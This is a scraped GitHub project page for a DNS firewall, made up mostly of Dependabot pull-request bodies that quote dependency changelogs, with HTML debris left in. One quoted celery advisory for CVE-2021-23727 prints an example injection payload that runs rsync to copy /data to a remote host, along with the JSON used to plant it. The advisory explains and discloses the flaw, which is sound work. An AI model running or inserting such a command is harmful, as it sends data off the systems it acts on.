| Category: Linux / Miscellaneous |
| Watchers: 7 |
| Star: 75 |
| Fork: 7 |
| Last update: May 27, 2023 |
Open Source DNS Firewall
$ git checkout https://github.com/invictuseurope/dinamit -b <new_branch_name>.email : [email protected]
password : test
Bumps twisted from 19.10.0 to 22.4.0.
Sourced from twisted's releases.
Twisted 22.4.0 (2022-04-11)
Features
- twisted.python.failure.Failure tracebacks now capture module information, improving compatibility with the Raven Sentry client. (#7796)
- twisted.python.failure.Failure objects are now compatible with dis.distb, improving compatibility with post-mortem debuggers. (#9599)
Bugfixes
- twisted.internet.interfaces.IReactorSSL.listenSSL now has correct type annotations. (#10274)
- twisted.internet.test.test_glibbase.GlibReactorBaseTests now passes. (#10317)
Conch
Features
- twisted.conch.ssh now supports using RSA keys with SHA-2 signatures (RFC 8332) when acting as a server. The rsa-sha2-512 and rsa-sha2-256 public key signature algorithms are automatically preferred over ssh-rsa if the client advertises support for them; the actual public keys do not need to change. ([#9765](https://github.com/twisted/twisted/issues/9765)) - twisted.conch.ssh now has an alternative Ed25519 implementation using PyNaCl, in order to support platforms that lack OpenSSL >= 1.1.1b. The new "conch_nacl" extra has the necessary dependency. ([#10208](https://github.com/twisted/twisted/issues/10208))Misc
- ([#10313](https://github.com/twisted/twisted/issues/10313))Web
Features </code></pre> <ul> <li>Twisted is now compatible with h2 4.x.x. (<a href="https://github-redirect.dependabot.com/twisted/twisted/issues/10182">#10182</a>)</li> </ul> <p>Bugfixes</p> <pre><code>
- twisted.web.http had several several defects in HTTP request parsing that could permit HTTP request smuggling. It now disallows signed Content-Length headers, forbids illegal characters in chunked extensions, forbids a
0xprefix to chunk lengths, and only strips spaces and horizontal tab characters from header values. These changes address CVE-2022-24801 and GHSA-c2jg-hw38-jrqq. (#10323)</tr></table> </code></pre> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary>
<p><em>Sourced from <a href="https://github.com/twisted/twisted/blob/trunk/NEWS.rst">twisted's changelog</a>.</em></p> <blockquote> <h1>Twisted 22.4.0 (2022-04-11)</h1> <h2>Features</h2> <ul> <li>twisted.python.failure.Failure tracebacks now capture module information, improving compatibility with the Raven Sentry client. (<a href="https://github-redirect.dependabot.com/twisted/twisted/issues/7796">#7796</a>)</li> <li>twisted.python.failure.Failure objects are now compatible with dis.distb, improving compatibility with post-mortem debuggers. (<a href="https://github-redirect.dependabot.com/twisted/twisted/issues/9599">#9599</a>)</li> </ul> <h2>Bugfixes</h2> <ul> <li>twisted.internet.interfaces.IReactorSSL.listenSSL now has correct type annotations. (<a href="https://github-redirect.dependabot.com/twisted/twisted/issues/10274">#10274</a>)</li> <li>twisted.internet.test.test_glibbase.GlibReactorBaseTests now passes. (<a href="https://github-redirect.dependabot.com/twisted/twisted/issues/10317">#10317</a>)</li> </ul> <h2>Conch</h2> <p>Features</p> <pre><code>
- twisted.conch.ssh now supports using RSA keys with SHA-2 signatures (RFC 8332) when acting as a server. The rsa-sha2-512 and rsa-sha2-256 public key signature algorithms are automatically preferred over ssh-rsa if the client advertises support for them; the actual public keys do not need to change. (#9765)
- twisted.conch.ssh now has an alternative Ed25519 implementation using PyNaCl, in order to support platforms that lack OpenSSL >= 1.1.1b. The new "conch_nacl" extra has the necessary dependency. (#10208)
Misc
- (#10313)
Web
Features
- Twisted is now compatible with h2 4.x.x. (#10182)
Bugfixes
- twisted.web.http had several several defects in HTTP request parsing that could permit HTTP request smuggling. It now disallows signed Content-Length headers, forbids illegal characters in chunked extensions, forbids a ``0x`` prefix to chunk lengths, and only strips spaces and horizontal tab characters from header values. These changes address CVE-2022-24801 and GHSA-c2jg-hw38-jrqq. ([#10323](https://github.com/twisted/twisted/issues/10323))</tr></table>
... (truncated)
ed86633 Mark as misc.c894617 Update format for release notes item.5c5c046 Revert coverage reporting changes.682f2c3 Manual fix the news.dd98e9c python -m incremental.update Twisted --newversion 22.4.03eabae5 Fix coverage reporting as codecov v1 was removed.a265267 Update after review.efac92c tox -e towncrier5ece2d4 python -m incremental.update Twisted --rc592217e Merge pull request from GHSA-c2jg-hw38-jrqqDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps twisted from 19.10.0 to 22.2.0.
Sourced from twisted's releases.
Twisted 22.2.0 (2022-03-01)
Bugfixes
- twisted.internet.gireactor.PortableGIReactor.simulate and twisted.internet.gtk2reactor.PortableGtkReactor.simulate no longer raises TypeError when there are no delayed called. This was a regression introduced with the migration to Python 3 in which the builtin
minfunction no longer acceptsNoneas an argument. (#9660)- twisted.conch.ssh.transport.SSHTransportBase now disconnects the remote peer if the SSH version string is not sent in the first 4096 bytes. (#10284, CVE-2022-21716, GHSA-rv6r-3f5q-9rgx)
Improved Documentation
- Add type annotations for twisted.web.http.Request.getHeader. (#10270)
Deprecations and Removals
- Support for Python 3.6, which is EoL as of 2021-09-04, has been deprecated. (#10303)
Misc
Conch
Misc
- [#10298](https://github.com/twisted/twisted/issues/10298)Web
No significant changes.
No significant changes.
</tr></table>
... (truncated)
Sourced from twisted's changelog.
Twisted 22.2.0 (2022-03-01)
Bugfixes
- twisted.internet.gireactor.PortableGIReactor.simulate and twisted.internet.gtk2reactor.PortableGtkReactor.simulate no longer raises TypeError when there are no delayed called. This was a regression introduced with the migration to Python 3 in which the builtin
minfunction no longer acceptsNoneas an argument. (#9660)- twisted.conch.ssh.transport.SSHTransportBase now disconnects the remote peer if the SSH version string is not sent in the first 4096 bytes. (#10284, CVE-2022-21716, GHSA-rv6r-3f5q-9rgx)
Improved Documentation
- Add type annotations for twisted.web.http.Request.getHeader. (#10270)
Deprecations and Removals
- Support for Python 3.6, which is EoL as of 2021-09-04, has been deprecated. (#10303)
Misc
Conch
Misc
- [#10298](https://github.com/twisted/twisted/issues/10298)Web
No significant changes.
No significant changes.
</tr></table>
... (truncated)
89c395e Update the release date.2b2af4d python -m incremental.update Twisted --newversion 22.2.05246003 Apply suggestions from code review from twm.766bcd3 tox -e towncrier7cbf195 python -m incremental.update Twisted --rc98387b3 Merge pull request from GHSA-rv6r-3f5q-9rgxa4523b4 Fix typo.a6849d4 Merge pull request #1693 from twisted/10303-deprecate-py36bce8e81 Merge branch 'trunk' into 10303-deprecate-py369045ef7 Merge pull request #1679 from doadin/patch-3Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps twisted from 19.10.0 to 22.1.0.
Sourced from twisted's releases.
Twisted 22.1.0 (2022-02-03)
Features
- Python 3.10 is now a supported platform (#10224)
- Type annotations have been added to the twisted.python.fakepwd module. (#10287)
Bugfixes
- twisted.internet.defer.inlineCallbacks has an improved type annotation, to avoid typing errors when it is used on a function which returns a non-None result. (#10231)
twisted.internet.base.DelayedCall.__repr__andtwisted.internet.task.LoopingCall.__repr__had the changes from #10155 reverted to accept non-function callables. (#10235)- Revert the removal of .whl building that was done as part of #10177. (#10236)
- The type annotation of the host parameter to twisted.internet.interfaces.IReactorTCP.connectTCP has been corrected from bytes to str. (#10251)
- Deprecated
twisted.python.threading.ThreadPool.currentThread()in favor ofthreading.current_thread(). Switchedtwisted.python.threading.ThreadPool.currentThread()andtwisted.python.threadable.getThreadID()to use `threading.current_thread()to avoid the deprecation warnings introduced forthreading.currentThread()`` in Python 3.10. (#10273)Improved Documentation
- twisted.internet.utils.runWithWarningsSupressed behavior of waiting on deferreds has been documented. (#10238)
- Sync API docs templates with pydoctor 21.9.0 release, using new theming capabilities. (#10267)
Misc
- #1681, #9944, #10198, #10218, #10219, #10228, #10229, #10234, #10239, #10240, #10245, #10246, #10248, #10250, #10255, #10277, #10288, #10292
Conch
Features
- twisted.conch.ssh now supports SSH extension negotiation (RFC 8308). ([#10266](https://github.com/twisted/twisted/issues/10266))Bugfixes
- twisted.conch now uses constant-time comparisons for MACs. (#8199)
- twisted.conch.ssh.filetransfer.FileTransferServer will now return an ENOENT error status if an SFTP client tries to close an unrecognized file handle. (#10293)
- SSHTransportBase.ssh_KEXINIT now uses the remote peer preferred MAC list for negotiation. In previous versions it was only using the local preferred MAC list. (#10241)
... (truncated)
Sourced from twisted's changelog.
Twisted 22.1.0 (2022-02-03)
Features
- Python 3.10 is now a supported platform (#10224)
- Type annotations have been added to the twisted.python.fakepwd module. (#10287)
Bugfixes
- twisted.internet.defer.inlineCallbacks has an improved type annotation, to avoid typing errors when it is used on a function which returns a non-None result. (#10231)
twisted.internet.base.DelayedCall.__repr__andtwisted.internet.task.LoopingCall.__repr__had the changes from #10155 reverted to accept non-function callables. (#10235)- Revert the removal of .whl building that was done as part of #10177. (#10236)
- The type annotation of the host parameter to twisted.internet.interfaces.IReactorTCP.connectTCP has been corrected from bytes to str. (#10251)
- Deprecated
twisted.python.threading.ThreadPool.currentThread()in favor ofthreading.current_thread(). Switchedtwisted.python.threading.ThreadPool.currentThread()andtwisted.python.threadable.getThreadID()to use `threading.current_thread()to avoid the deprecation warnings introduced forthreading.currentThread()`` in Python 3.10. (#10273)Improved Documentation
- twisted.internet.utils.runWithWarningsSupressed behavior of waiting on deferreds has been documented. (#10238)
- Sync API docs templates with pydoctor 21.9.0 release, using new theming capabilities. (#10267)
Misc
- #1681, #9944, #10198, #10218, #10219, #10228, #10229, #10234, #10239, #10240, #10245, #10246, #10248, #10250, #10255, #10277, #10288, #10292
Conch
Bugfixes
- SSHTransportBase.ssh_KEXINIT now uses the remote peer preferred MAC list for negotiation. In previous versions it was only using the local preferred MAC list. (#10241)
Features
- twisted.conch.ssh now supports SSH extension negotiation (RFC 8308). ([#10266](https://github.com/twisted/twisted/issues/10266))Bugfixes </tr></table>
... (truncated)
45d463c move conch bugfix.d48e4d3 Manually update the release version and date inside the NEWS file. T9ce5061 Update final release version.9d9322b Update the release notes.7e65fbe Bump copyright.ddf72a9 tox -e towncrierb33589f Update to 21.1.0.rc1a033c84 Merge pull request #1685 from twisted/10293-conch-sftp-close-invalid-handle9e9cce2 Copy the skip logic from FileTransferCloseTests385e9f2 mention the name of the draft docDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps urllib3 from 1.25.7 to 1.25.8.
2a57bc5 Release 1.25.8 (#1788)a2697e7 Optimize _encode_invalid_chars (#1787)d2a5a59 Move IPv6 test skips in server fixturesd44f0e5 Factorize test certificates serialization84abc7f Generate IPV6 certificates using trustme6a15b18 Run IPv6 Tornado server from fixture4903840 Use trustme to generate IP_SAN cert9971e27 Empty responses should have no lines.62ef68e Use trustme to generate NO_SAN certsfd2666e Use fixture to configure NO_SAN test certsDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps certifi from 2019.9.11 to 2022.12.7.
9e9e840 2022.12.07b81bdb2 2022.09.24939a28f 2022.09.14aca828a 2022.06.15.2de0eae1 Only use importlib.resources's new files() / Traversable API on Python ≥3.11 ...b8eb5e9 2022.06.15.147fb7ab Fix deprecation warning on Python 3.11 (#199)b0b48e0 fixes #198 -- update link in license9d514b4 2022.06.154151e88 Add py.typed to MANIFEST.in to package in sdist (#196)Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps twisted from 19.10.0 to 22.10.0.
Sourced from twisted's releases.
Twisted 22.10.0 (2022-10-30)
This release contains a security fix for CVE-2022-39348. This is a low-severity security bug.
Twisted 22.10.0rc1 release candidate was released on 2022-10-26 and there are no changes between the release candidate and the final release.
Features
- The
systemd:endpoint parser now supports "named" file descriptors. This is a more reliable mechanism for choosing among several inherited descriptors. (#8147)Improved Documentation
- The
systemdendpoint parser'sindexparameter is now documented as leading to non-deterministic results in which descriptor is selected. The newnameparameter is now documented as preferred. (#8146)- The implementers of Zope interfaces are once more displayed in the documentations. (#11690)
Deprecations and Removals
- twisted.protocols.dict, which was deprecated in 17.9, has been removed. (#11725)
Misc
- #11573, #11599, #11616, #11628, #11631, #11640, #11645, #11647, #11652, #11664, #11674, #11679, #11686, #11692, #11694, #11696, #11700, #11702, #11713, #11715, #11721
Conch
Bugfixes
- twisted.conch.manhole.ManholeInterpreter now captures tracebacks even if sys.excepthook has been modified. ([#11638](https://github.com/twisted/twisted/issues/11638))Web
Features
... (truncated)
Sourced from twisted's changelog.
Twisted 22.10.0 (2022-10-30)
This release contains a security fix for CVE-2022-39348. This is a low-severity security bug.
Twisted 22.10.0rc1 release candidate was released on 2022-10-26 and there are no changes between the release candidate and the final release.
Features
- The
systemd:endpoint parser now supports "named" file descriptors. This is a more reliable mechanism for choosing among several inherited descriptors. (#8147)Improved Documentation
- The
systemdendpoint parser'sindexparameter is now documented as leading to non-deterministic results in which descriptor is selected. The newnameparameter is now documented as preferred. (#8146)- The implementers of Zope interfaces are once more displayed in the documentations. (#11690)
Deprecations and Removals
- twisted.protocols.dict, which was deprecated in 17.9, has been removed. (#11725)
Misc
- #11573, #11599, #11616, #11628, #11631, #11640, #11645, #11647, #11652, #11664, #11674, #11679, #11686, #11692, #11694, #11696, #11700, #11702, #11713, #11715, #11721
Conch
Bugfixes
- twisted.conch.manhole.ManholeInterpreter now captures tracebacks even if sys.excepthook has been modified. ([#11638](https://github.com/twisted/twisted/issues/11638))Web
Features
... (truncated)
39ee213 Update news for final version.7e76513 python -m incremental.update Twisted --newversion 22.10.03f1f502 Apply suggestions from twm.3185b01 Add info about CVE at the start of the release notes.15aa477 tox -e towncrier0a29d34 python -m incremental.update Twisted --rcf2f5e81 Merge pull request from GHSA-vg46-2rrj-3647b0545bc Merge branch 'trunk' into advisory-fix-150761f4 #11715: Use NEXT in deprecation examples (#11720)927a5dc Add newsfragmentDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps celery from 4.3.0 to 5.2.2.
Sourced from celery's releases.
5.2.2
Release date: 2021-12-26 16:30 P.M UTC+2:00
Release by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/dataas the exception arguments like so:{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
v5.2.1
Release date: 2021-11-16 8.55 P.M UTC+6:00
Release by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
... (truncated)
Sourced from celery's changelog.
5.2.2
:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/dataas the exception arguments like so:.. code-block:: python
{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
.. _version-5.2.1:
5.2.1
:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
... (truncated)
b21c13d Bump version: 5.2.1 → 5.2.2a60b486 Add changelog for 5.2.2.3e5d630 Fix changelog formatting.1f7ad7e Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).2d8dbc2 Update configuration.rst9596aba Fix typo in documentation639ad83 update doc to reflect Celery 5.2.x (#7153)d32356c Bump version: 5.2.0 → 5.2.16842a78 Merge branch 'master' of https://github.com/celery/celery4c92cb7 changelog for v5.2.1Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps babel from 2.7.0 to 2.9.1.
Sourced from babel's releases.
Version 2.9.1
Bugfixes
- The internal locale-data loading functions now validate the name of the locale file to be loaded and only allow files within Babel's data directory. Thank you to Chris Lyne of Tenable, Inc. for discovering the issue!
Version 2.9.0
Upcoming version support changes
- This version, Babel 2.9, is the last version of Babel to support Python 2.7, Python 3.4, and Python 3.5.
Improvements
- CLDR: Use CLDR 37 – Aarni Koskela (#734)
- Dates: Handle ZoneInfo objects in get_timezone_location, get_timezone_name - Alessio Bogon (#741)
- Numbers: Add group_separator feature in number formatting - Abdullah Javed Nesar (#726)
Bugfixes
- Dates: Correct default Format().timedelta format to 'long' to mute deprecation warnings – Aarni Koskela
- Import: Simplify iteration code in "import_cldr.py" – Felix Schwarz
- Import: Stop using deprecated ElementTree methods "getchildren()" and "getiterator()" – Felix Schwarz
- Messages: Fix unicode printing error on Python 2 without TTY. – Niklas Hambüchen
- Messages: Introduce invariant that _invalid_pofile() takes unicode line. – Niklas Hambüchen
- Tests: fix tests when using Python 3.9 – Felix Schwarz
- Tests: Remove deprecated 'sudo: false' from Travis configuration – Jon Dufresne
- Tests: Support Py.test 6.x – Aarni Koskela
- Utilities: LazyProxy: Handle AttributeError in specified func – Nikiforov Konstantin (#724)
- Utilities: Replace usage of parser.suite with ast.parse – Miro Hrončok
Documentation
- Update parse_number comments – Brad Martin (#708)
- Add iter to Catalog documentation –
@CyanNani123Version 2.8.1
This patch version only differs from 2.8.0 in that it backports in #752.
Version 2.8.0
Improvements
- CLDR: Upgrade to CLDR 36.0 - Aarni Koskela (#679)
- Messages: Don't even open files with the "ignore" extraction method -
@sebleblanc(#678)Bugfixes
- Numbers: Fix formatting very small decimals when quantization is disabled - Lev Lybin,
@miluChen(#662)- Messages: Attempt to sort all messages – Mario Frasca (#651, #606)
Docs
... (truncated)
Sourced from babel's changelog.
Version 2.9.1
Bugfixes
* The internal locale-data loading functions now validate the name of the locale file to be loaded and only allow files within Babel's data directory. Thank you to Chris Lyne of Tenable, Inc. for discovering the issue!Version 2.9.0
Upcoming version support changes
- This version, Babel 2.9, is the last version of Babel to support Python 2.7, Python 3.4, and Python 3.5.
Improvements
* CLDR: Use CLDR 37 – Aarni Koskela ([#734](https://github.com/python-babel/babel/issues/734)) * Dates: Handle ZoneInfo objects in get_timezone_location, get_timezone_name - Alessio Bogon ([#741](https://github.com/python-babel/babel/issues/741)) * Numbers: Add group_separator feature in number formatting - Abdullah Javed Nesar ([#726](https://github.com/python-babel/babel/issues/726))Bugfixes
* Dates: Correct default Format().timedelta format to 'long' to mute deprecation warnings – Aarni Koskela * Import: Simplify iteration code in "import_cldr.py" – Felix Schwarz * Import: Stop using deprecated ElementTree methods "getchildren()" and "getiterator()" – Felix Schwarz * Messages: Fix unicode printing error on Python 2 without TTY. – Niklas Hambüchen * Messages: Introduce invariant that _invalid_pofile() takes unicode line. – Niklas Hambüchen * Tests: fix tests when using Python 3.9 – Felix Schwarz * Tests: Remove deprecated 'sudo: false' from Travis configuration – Jon Dufresne * Tests: Support Py.test 6.x – Aarni Koskela * Utilities: LazyProxy: Handle AttributeError in specified func – Nikiforov Konstantin ([#724](https://github.com/python-babel/babel/issues/724)) * Utilities: Replace usage of parser.suite with ast.parse – Miro HrončokDocumentation </code></pre> <ul> <li>Update parse_number comments – Brad Martin (<a href="https://github-redirect.dependabot.com/python-babel/babel/issues/708">#708</a>)</li> <li>Add <strong>iter</strong> to Catalog documentation – <a href="https://github.com/CyanNani123"><code>@CyanNani123</code></a></li> </ul> <h2>Version 2.8.1</h2> <p>This is solely a patch release to make running tests on Py.test 6+ possible.</p> <p>Bugfixes</p> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary>
<ul> <li><a href="https://github.com/python-babel/babel/commit/a99fa2474c808b51ebdabea18db871e389751559"><code>a99fa24</code></a> Use 2.9.0's setup.py for 2.9.1</li> <li><a href="https://github.com/python-babel/babel/commit/60b33e083801109277cb068105251e76d0b7c14e"><code>60b33e0</code></a> Become 2.9.1</li> <li><a href="https://github.com/python-babel/babel/commit/412015ef642bfcc0d8ba8f4d05cdbb6aac98d9b3"><code>412015e</code></a> Merge pull request <a href="https://github-redirect.dependabot.com/python-babel/babel/issues/782">#782</a> from python-babel/locale-basename</li> <li><a href="https://github.com/python-babel/babel/commit/5caf717ceca4bd235552362b4fbff88983c75d8c"><code>5caf717</code></a> Disallow special filenames on Windows</li> <li><a href="https://github.com/python-babel/babel/commit/3a700b5b8b53606fd98ef8294a56f9510f7290f8"><code>3a700b5</code></a> Run locale identifiers through <code>os.path.basename()</code></li> <li><a href="https://github.com/python-babel/babel/commit/5afe2b2f11dcdd6090c00231d342c2e9cd1bdaab"><code>5afe2b2</code></a> Merge pull request <a href="https://github-redirect.dependabot.com/python-babel/babel/issues/754">#754</a> from python-babel/github-ci</li> <li><a href="https://github.com/python-babel/babel/commit/58de8342f865df88697a4a166191e880e3c84d82"><code>58de834</code></a> Replace Travis + Appveyor with GitHub Actions (WIP)</li> <li><a href="https://github.com/python-babel/babel/commit/d1bbc08e845d03d8e1f0dfa0e04983d755f39cb5"><code>d1bbc08</code></a> import_cldr: use logging; add -q option</li> <li><a href="https://github.com/python-babel/babel/commit/156b7fb9f377ccf58c71cf01dc69fb10c7b69314"><code>156b7fb</code></a> Quiesce CLDR download progress bar if requested (or not a TTY)</li> <li><a href="https://github.com/python-babel/babel/commit/613dc1700f91c3d40b081948c0dd6023d8ece057"><code>613dc17</code></a> Make the import warnings about unsupported number systems less verbose</li> <li>Additional commits viewable in <a 